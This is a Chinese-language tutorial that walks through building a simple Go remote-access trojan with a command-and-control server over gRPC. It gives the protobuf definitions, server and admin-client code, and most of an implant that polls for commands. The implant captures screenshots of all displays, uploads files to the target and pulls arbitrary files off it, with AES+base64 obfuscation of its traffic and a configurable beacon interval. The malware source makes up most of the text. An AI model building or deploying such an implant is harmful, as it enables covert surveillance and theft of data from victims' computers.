基於gRPC編寫golang簡單C2遠控

概述

構建一個簡單的遠控木馬需要編寫三個獨立的部分:植入程式、服務端程式和管理程式。

植入程式是運行在目標機器上的遠控木馬的一部分。植入程式會定期輪詢伺服器以查找新的命令,然後將命令輸出發回給伺服器。

管理程式是運行在用戶機器上的客戶端,用於發出實際的命令。

服務端則負責與植入程式和客戶端的交互,接收客戶端的指令,並在植入程式請求時,將命令發送給植入程式,隨後將植入程式發送來的結果傳遞給客戶端。

image

gRPC

這裡通過gRPC構建所有的網路交互。

關於gRPC、Protobuf、protoc請參考//www.zhihu.com/question/286825709

gRPC是由google創建的一個高性能遠程過程調用(RPC)框架。RPC框架允許客戶端通過標準和定義的協議與伺服器進行通訊,而不必了解底層的任何細節。gRPC基於HTTP/2運行,以一種高效的二進位結構傳遞消息。gRPC默認的序列方式是Protobuf。

定義和構造gRPC API

這裡使用Protobufs來定義API

Service

在proto文件中定義了兩個service,分別對應植入程式服務端和管理程式服務端。

在植入程式服務中,定義了三個方法FetchCommandSendOutputGetSleepTime

FetchCommand:將從伺服器檢索所有為執行的命令

SendOutput:會將一個Command消息發送伺服器

GetSleepTime:從服務端檢索sleep時間間隔

在管理程式服務中,定義的兩個方法RunCommandSetSleepTime

RunCommand:接收一個Command消息作為參數,並期望獲讀回一個Command消息

SetSleepTime:向伺服器發送一個SleepTime消息作為時間間隔

Message

最後看到定義的三個message CommandSleepTimeEmpty

Command:消息中的兩個參數分別代表了輸入的命令和命令對應的結果。都為string類型,要說明的是後面兩個數字是代表了消息本身兩個欄位出現的偏移量,也就是In將首先出現,然後是Out。

SleepTime:唯一 一個欄位就是用來標明休眠時間間隔的

Empty:用來代替null的空消息 定義這個Empty類型是由於gRPC不顯式地允許空值

syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
  rpc FetchCommand (Empty) returns (Command);
  rpc SendOutput (Command) returns (Empty);
  rpc GetSleepTime(Empty) returns (SleepTime);
}

service Admin {
  rpc RunCommand (Command) returns (Command);
  rpc SetSleepTime(SleepTime) returns (Empty);
}

//Command消息包含兩個欄位,一個用於維護作業系統的命令;一個用於維護命令執行的輸出
message Command {
  string In = 1;
  string Out = 2;
}
message SleepTime {
  int32 time = 1;
}

//Empty 用來代替null的空消息 定義這個Empty類型是由於gRPC不顯式地允許空值
message Empty {
}
編譯proto文件

對於Golang使用如下命令編譯.proto文件。會根據你的.proto文件生成Go文件。

這個生成的新文件回包含Protobuf模式中創建的服務和消息的結構和結構體定義。後續將利用它構造服務端、植入程式和客戶端。

protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto

實現

創建服務端

首先,創建兩個結構體adminServerimplantServer,它們都包含兩個Command通道,用於發送和接收命令以及命令的輸出。這兩個結構體會實現gRPC API中定義的服務端介面。並且需要為這兩個結構體定義輔助函數NewAdminServerNewImplantServer,用於創建新的實例,可以確保通道正確的初始化。

type implantServer struct {
	work, output chan *grpcapi.Command
}

type adminServer struct {
	work, output chan *grpcapi.Command
}

func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
	s := new(implantServer)
	s.work = work
	s.output = output
	return  s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
	s := new(adminServer)
	s.work = work
	s.output = output
	return  s
}

implantServer

對於植入程式服務端,需要實現的方法有FetchCommand()SendOutput()GetSleepTime()

FetchCommand:植入程式將調用方法FetchCommand作為一種輪詢機制,它會詢問「有工作給我嗎?」。在程式碼中,將根據select語句,當work通道中有數據時會從中讀取數據到實例化的Command中,並返回。如果沒有讀取到數據,就會返回一個空的Command。

func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
	var cmd = new(grpcapi.Command)
	select {
	case cmd, ok := <-s.work:
		if ok {
			return cmd, nil
		}
		return cmd, errors.New("channel closed")
	default:
		return cmd, nil
	}
}

SendOutput:將接收一個Command,其中包含了從植入程式中獲取的命令執行的結果。並將這個Command推送到output通道中,以便管理程式的後續讀取。

func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
	s.output <- result
	fmt.Println("result:" + result.In + result.Out)
	return &grpcapi.Empty{}, nil
}

*GetSleepTime:植入程式在每次sleep之前就會調用此方法,向服務端詢問sleep的時間。這個方法將返回從變數sleepTIme中讀取到的數據。

func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
	time := new(grpcapi.SleepTime)
	time.Time = sleepTime
	return time,nil
}

adminServer

對於管理程式服務端,需要實現的方法有RunCommandSetSleepTime

RunCommand:該方法接收一個尚未發送到植入程式的Command,它表示管理程式希望在植入程式上執行的工作。並將工作發送給work通道。因為使用無緩衝的通道,該操作將會阻塞程式的執行,但同時又需要從output通道中接收數據,因此使用goroutine將工作放入work通道中。

調用這個方法時,會將命令發送給服務端,並等待植入程式執行完後的發送回的結果。

func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error)  {
	fmt.Println(cmd.In)
	var res *grpcapi.Command
	go func() {
		s.work <- cmd
	}()

	res = <- s.output

	return res, nil
}

SetSleepTime:管理程式客戶端調用此方法,將從命令行輸入的時間發送給服務端後,設置到sleepTIme變數中

func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
	sleepTime = time.Time
	return &grpcapi.Empty{}, nil
}

main函數部分

main函數首先使用相同的work和output通道實例化implantServer和adminServer。通過相同的通道實例,可以是管理程式服務端和植入程式服務端通過此共享通道進行通訊。

接下來,為每個服務啟動網路監聽器,將implantListener綁定到1961埠,將adminListener綁定到1962埠。最後創建兩個gRPC伺服器。

func main()  {
	var (
		implantListener, adminListener net.Listener
		err 					   error
		opts					   []grpc.ServerOption
		work, output			   chan *grpcapi.Command
	)
	work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
	//植入程式服務端和管理程式服務端使用相同的通道
	implant := NewImplantServer(work, output)
	admin := NewAdminServer(work, output)
	//服務端建立監聽,植入服務端與管理服務端監聽的埠分別是1961和1962
	if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
		log.Fatalln("implantserver"+err.Error())
	}
	if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
		log.Fatalln("adminserver"+err.Error())
	}
    //服務端設置允許發送和接收數據的最大限制
	opts = []grpc.ServerOption{
		grpc.MaxRecvMsgSize(1024*1024*12),
		grpc.MaxSendMsgSize(1024*1024*12),
	}
		grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)

	grpcapi.RegisterImplantServer(grpcImplantServer, implant)
	grpcapi.RegisterAdminServer(grpcAdminServer, admin)
	//使用goroutine啟動植入程式服務端,防止程式碼阻塞,畢竟後面還要開啟管理程式服務端
	go func() {
		grpcImplantServer.Serve(implantListener)
	}()
	grpcAdminServer.Serve(adminListener)
}

創建植入程式和管理程式

植入程式

	// WithInsecure 忽略證書
	opts = append(opts, grpc.WithInsecure())
	//設置發送和接收數據的最大限制
	opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
	opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
	//連接到指定伺服器的指定埠
	if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
		log.Fatal(err)
	}
	defer conn.Close()
	client = grpcapi.NewImplantClient(conn)

	ctx := context.Background()
	//使用for循環來輪詢伺服器
	for {
		var req = new(grpcapi.Empty)
		cmd, err := client.FetchCommand(ctx, req)
		if err != nil {
			log.Fatal(err)
		}
		 //如果沒有要執行的命令就進入sleep
		if cmd.In == "" {
			//sleep之前向伺服器詢問sleep的時間
			t,_ := client.GetSleepTime(ctx,req)
			fmt.Println("sleep"+t.String())
			time.Sleep(time.Duration(t.Time)* time.Second)
			continue
		}
		//從服務端獲取到命令後先進行解密處理
		command, _ := util.DecryptByAes(cmd.In)
        //根據空格截取命令
        tokens := strings.Split(string(command), " ")
    .......
    }

管理程式

	//	設置命令行參數
	flag.IntVar(&sleepTime,"sleep",0,"sleep time")
	flag.StringVar(&session,"session","","start session")
	flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
	flag.StringVar(&port,"port","1961","Server IP")
	flag.Parse()
	
	if session != "" {
     	//輸入session參數,並且參數值為start,開執行命令
		if session == "start" {
             // WithInsecure 忽略證書
            opts = append(opts, grpc.WithInsecure())
            //設置發送和接收數據的最大限制
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
            //連接到指定伺服器的指定埠
            if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
            err != nil {
                log.Fatal(err)
            }
            defer conn.Close()
            client = grpcapi.NewAdminClient(conn)
			fmt.Println("start exec:")
            //通過for循環來不斷向控制台輸入命令
			for {
				var cmd = new(grpcapi.Command)
				//go中scan、scanf、scanln在輸入時都會將空格作為一個字元串的結束,因此不能使用這些來鍵入我們的命令
                //獲取用戶輸入的命令
				reader := bufio.NewReader(os.Stdin)
				command, _, err := reader.ReadLine()
				if nil != err {
					fmt.Println("reader.ReadLine() error:", err)
				}
                //根據空格截取輸入的命令,以進行後續的判斷
                flags := strings.Split(string(command)," ")
            ......
      	} else {
			fmt.Println("please input start")
		}
	}
sleep時間

自定義回連時間:也就是允許自定義植入程式輪詢伺服器的時間間隔。

植入程式這裡輪詢時間間隔是通過sleep函數實現的,而實現自定義這個功能則是植入程式在sleep之前會向服務端詢問sleep的時間。

 //如果沒有要執行的命令就進入sleep
if cmd.In == "" {
//sleep之前向伺服器詢問sleep的時間
	t,_ := client.GetSleepTime(ctx,req)
	fmt.Println("sleep"+t.String())
	time.Sleep(time.Duration(t.Time)* time.Second)
	continue
}

管理程式客戶端可以通過命令行參數sleep來設置休眠時間,單位為秒。

	//根據命令行鍵入sleep參數的值進行設置sleep時間,如果沒有鍵入sleep參數默認為0
	if sleepTime != 0 {
		var time = new(grpcapi.SleepTime)
		time.Time = int32(sleepTime)
		ctx := context.Background()
		client.SetSleepTime(ctx,time)
	}
截圖

截圖功能實現

截圖功能藉助於 github.com/kbinani/screenshot 實現

植入端獲取到截圖命令後,會先獲取當前螢幕的數量,並根據順序進行截圖,並將圖片存放到[]byte位元組切片中,進行加密編碼後發出。

	//輸入的命令為screenshot 就進入下面的流程
		if tokens[0] == "screenshot" {
			images := util.Screenshot()
			for _,image := range images {
				result,_ := util.EncryptByAes(util.ImageToByte(image))
				cmd.Out += result
				cmd.Out += ";"
			}
			client.SendOutput(ctx, cmd)
			continue
		}
//util.Screenshot() 截圖
func Screenshot() []*image.RGBA {
	var images []*image.RGBA
	//獲取當前活動螢幕數量
	i := screenshot.NumActiveDisplays()
	if i == 0 {

	}
	for j :=0; j <= i-1; j++ {
		image,_ := screenshot.CaptureDisplay(j)
		images = append(images, image)
	}
	return images
}
//util.ImageToByte() 圖片轉位元組切片
func ImageToByte(image *image.RGBA) []byte{
	buf := new(bytes.Buffer)
	png.Encode(buf,image)
	b := buf.Bytes()
	return b
}
上傳文件

上傳文件,要求輸入的格式為 upload 本地文件 目標文件

管理程式會根據輸入的本地文件,將本地文件讀取到[]byte位元組切片當中,並進行AES加密和BASE64編碼。也就是說最終向服務端傳遞的數據將變成經過加密、編碼後的字元串。這裡會將這個字元串存放在Command.Out中。這裡可能遊戲額難以理解,command.Out不是用來存放執行結果的嗎?其實在服務端中,會將管理程式客戶端的命令放到work中,然後將植入程式執行完以後會才會將結果封裝在command.Out,而在這之前command.Out是空的。這裡上傳文件實際上是在管理程式客戶端時「借用」command.Out的位置,將要上傳的數據與上傳命令一起發送給植入程式。

這裡根據前面提到的,設置最大上傳數據為12MB,但要注意的上傳文件會經過aes加密與base64編碼,因此12MB指經過加密後的數據大小,實際上允許上傳的數據要小於12MB。下載同理。

if flags[0] == "upload" {
	if len(flags) != 3 || flags[2] == "" {
		fmt.Println("輸入格式為:upload 本地文件 目標文件")
		continue
	}
	file, err := os.ReadFile(flags[1])
	if err != nil {
		fmt.Println(err.Error())
		continue
	}
    //將數據存放在Command.Out中
	cmd.Out,err = util.EncryptByAes(file)
	if err != nil {
		log.Fatal(err.Error())
	}
	cmd = Run(cmd,command,client)
	out,err := util.DecryptByAes(cmd.Out)
	if err != nil {
		log.Fatal(err.Error())
	}
	fmt.Println(string(out))
	continue
}

植入端程式將根據cmd.in中輸入的命令判斷是否為上傳指令。判斷為上傳指令後,將會對cmd.out中保存的字元串數據進行解密後寫入到用戶指定的目標文件當中。

//匹配上傳命令
if tokens[0] == "upload" {
	file,_ := util.DecryptByAes(cmd.Out)
	err := os.WriteFile(tokens[2],file,0666)
	if err != nil{
		cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
		client.SendOutput(ctx, cmd)
	} else {
		cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
		client.SendOutput(ctx, cmd)
	}

	continue
}
下載文件

下載文件, 要求輸入的格式為download 目標文件 本地文件

客戶端將下載命令發送給服務端。客戶端會從cmd.out中讀取到數據後解密,並根據用戶輸入的本地文件寫入文件。

if flags[0] == "download" {
	if len(flags) != 3 || flags[2] == "" {
		fmt.Println("輸入格式為:download 目標文件 本地文件")
		continue
	}
    //發送命令
	cmd = Run(cmd,command,client)
	file, err := util.DecryptByAes(cmd.Out)
	if err != nil {
		log.Fatal(err.Error())
	}
	if string(file[0:13]) == "download err!" {
		fmt.Println(string(file[0:13]))
		continue
	}
	err = os.WriteFile(flags[2],file,0666)
	if err != nil {
		fmt.Println(err.Error())
	}else {
		fmt.Println("download success! Path:" + flags[2])
	}
	continue
}

當植入程式詢問到該命令之後,會將用戶輸入的目標文件讀取到[]byte位元組切片當中,與上傳文件類似地,進行加密編碼以字元串形式存放到cmd.Out中經服務端發送給客戶端。

//匹配下載命令
if tokens[0] == "download" {
	file,err := os.ReadFile(tokens[1])
	if err != nil {
		cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
		client.SendOutput(ctx, cmd)
	}else {
		cmd.Out,_ = util.EncryptByAes(file)
		_,err2 := client.SendOutput(ctx, cmd)
		if err2 != nil {
			fmt.Println(err2.Error())
		}
	}

	continue
}

編碼問題

go的編碼是UTF-8,而CMD的活動頁是GBK編碼的,因此使用GoLang進行命令執行時,對於命令執行結果返回的中文會產生亂碼的現象。

雖然在植入程式中會執行命令,但是在通過植入程式再向服務端發送結果時由於包含亂碼,植入程式向服務端發送的數據為空。(因此服務端就沒有接收這個數據),result中沒有數據,所以植入程式的服務端在向output輸入數據時會阻塞。由於管理服務端和植入程式服務端共享通道,output中沒有數據,進而引發管理服務端也阻塞(直到output中有數據)。

中文亂碼問題的解決依賴於golang.org/x/text/encoding/simplifiedchinese

當然在解決掉亂碼問題後,這一問題也就消失了。

type Charset string

const (
	UTF8 = Charset("UTF-8")
	GB18030 = Charset("GB18030")
)

func ConvertByte2String(byte []byte, charset Charset) string {

	var str string
	switch charset {
	case GB18030:
		decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
		str = string(decodeBytes)
	case UTF8:
		fallthrough
	default:
		str = string(byte)
	}

	return str
}

流量加密

對於所有的C2程式都應該加密其網路流量,這對於植入程式和伺服器之間的通訊尤為重要。通過截取流量,可以看到植入程式和服務端的數據是明文的。對於解決這個問題,可以提供得是兩種選擇,一是對我們傳輸得數據進行加密如異或、AES加密,在傳輸過程中使用密文傳遞;二是使用TLS技術。

如下為未加密前流量

image

image

當前使用AES+BAES64編碼來進行加密

aes加密和base64編碼參考://blog.csdn.net/dodod2012/article/details/117706402

管理程式客戶端獲取到用戶從命令行鍵入的命令,將對這個命令進行base64+aes加密,再發送給服務端。服務端接收到這個消息後,直接將消息寫入通道中。

待植入程式客請求服務端時,就會讀取到這段密文,進行解密後執行命令,並將執行的結果進行加密發送給服務端。最終管理程式會從結果通道中讀取到執行的結果,解密後並進行編碼格式的轉變,輸出到控制台。這相比於明文傳輸就安全多了。如下為加密後的流量

image